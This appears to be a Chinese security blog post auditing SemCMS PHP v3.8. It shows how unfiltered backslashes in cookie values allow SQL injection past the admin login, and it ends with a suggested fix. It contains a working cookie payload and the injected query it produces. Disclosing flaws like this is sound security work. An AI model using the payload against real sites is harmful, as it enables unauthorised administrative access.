semcms_php_v3.8 cookie注入绕过后台登陆

0x00 前言

此篇为审计semcms_php_v3.8的第二篇文章

SemCms是一套开源外贸企业网站管理系统,主要用于外贸企业,兼容IE、Firefox 等主流浏览器。
SemCms非常适合在外贸企业,电子商务互联网应用上使用,2009年12月首次发布以来,SemCms依靠出色的用户体验和领先的技术不断扩大外贸场占有率,目前在国内已经成为最受欢迎的英文外贸网站之一。
官网:http://www.sem-cms.com/
审计版本为最新php版 v3.8

0x01 cookie注入导致后台登陆绕过

首先查看后台主页SEMCMS_Main.php,包含了SEMCMS_Top_include.php,跟进看到checkuser函数,猜测应该时验证是否登陆的。

继续跟进checkuser()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function checkuser($db_conn){ //判断用户是否登陆

$cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
$cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));

$query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");

if (mysqli_num_rows($query)>0){

$row=mysqli_fetch_assoc($query);
return $row['user_qx'];

}else{

echo "<script language='javascript'>alert('账号密码不正确重新登陆!');top.location.href='index.html';</script>";
exit;
}

}

发现用户名和密码均来自cookie,然后带入sql语句查询,要传入的值经过了test_inputverify_str的过滤,跟进查看一下。
verify_str的值我们上一篇审计的时候查看过了,过滤几个sql语句

虽然过滤了单引号',但是并没有过滤\,看看是否能通过转义符\$cookieuseradmin后面的单引号闭合,从而绕过检测。
继续查看test_input

1
2
3
4
5
6
7
8
function test_input($data) { 
$data = str_replace("%", "percent", $data);
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data,ENT_QUOTES);
return $data;

}

这里需要注意的是stripslashes,因为stripslashes\作了处理,但是幸运的是两个反斜线\\时会返回一个。

这里便可以构造cookie值

1
scuseradmin=Admin\\; scuserpass=or 1 like 1 -- -;

那么拼接后的sql语句即为

1
select * from sc_user where user_admin='Admin\\' and user_ps='or 1 like 1 -- -'

成功绕过登陆

0x02 poc

0x03 修复方法

inject_check_sql()函数中增加对反斜线\的过滤

本文标题:semcms_php_v3.8 cookie注入绕过后台登陆

文章作者:boogle

发布时间:2019年03月15日 - 21:18

最后更新:2019年03月25日 - 08:34

原始链接:https://zhengbao.wang/semcms-php-v3-8-cookie注入绕过后台登陆/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

感觉写的不错,给买个棒棒糖呗